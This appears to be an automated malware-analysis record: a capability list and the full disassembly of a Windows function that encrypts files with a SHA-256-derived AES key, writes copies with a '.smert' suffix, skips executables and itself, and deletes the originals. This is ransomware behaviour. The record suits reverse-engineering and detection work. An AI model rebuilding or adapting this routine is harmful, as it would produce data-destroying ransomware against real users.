Function at 0x1400013bc
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x20190]
mov eax, 0x20290
call fcn.140003840
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x20180], rax
mov r15, r8
mov r14, rdx
mov rsi, rcx
lea rdx, [rbp + 0x60]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str..exe
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140D.dll_strstr]
test rax, rax
jne 0x14000163b
lea rdx, [rbp + 0x60]
mov rcx, rsi
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
je 0x14000163b
lea rdx, [0x1400044f4]
mov rcx, rsi
call qword [sym.imp.ucrtbased.dll_fopen]
mov rbx, rax
test rax, rax
je 0x14000163b
mov r9, rsi
lea r8, str._s.smert
mov edx, pe_nt_image_headers64
lea rcx, [rsp + 0x60]
call fcn.1400010f8
lea rdx, [0x140004504]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ucrtbased.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x140001494
mov rcx, rbx
call qword [sym.imp.ucrtbased.dll_fclose]
jmp 0x14000163b
and qword [rsp + 0x40], 0
lea rcx, [rsp + 0x40]
and qword [rsp + 0x50], 0
mov r9d, 0x18
and qword [rsp + 0x48], 0
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1400014d6
mov rcx, rbx
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, rdi
jmp 0x140001489
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140001509
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x1400014c8
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov rdx, r14
lea r8d, [r9 + 0x20]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x14000152f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x1400014fa
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x48]
test eax, eax
je 0x140001527
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov r8, r15
lea r14d, [r9 + 1]
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
jne 0x14000158c
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
jmp 0x1400014fa
mov r15d, 0x10000
jmp 0x1400015ee
mov rcx, rbx
mov dword [rsp + 0x58], eax
call qword [sym.imp.ucrtbased.dll_feof]
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x30], 0x10010
mov qword [rsp + 0x28], rcx
xor r9d, r9d
lea rcx, [rbp + 0x10170]
mov r8d, eax
mov qword [rsp + 0x20], rcx
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x14000157c
mov r8d, dword [rsp + 0x58]
lea rcx, [rbp + 0x10170]
mov r9, rdi
mov rdx, r14
call qword [sym.imp.ucrtbased.dll_fwrite]
mov r9, rbx
lea rcx, [rbp + 0x170]
mov r8, r15
mov rdx, r14
call qword [sym.imp.ucrtbased.dll_fread]
test eax, eax
jne 0x140001594
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, rdi
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, rsi
call qword [sym.imp.ucrtbased.dll_remove]
mov rcx, qword [rbp + 0x20180]
xor rcx, rsp
call fcn.140002020
mov rbx, qword [rsp + 0x202d8]
add rsp, 0x20290
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret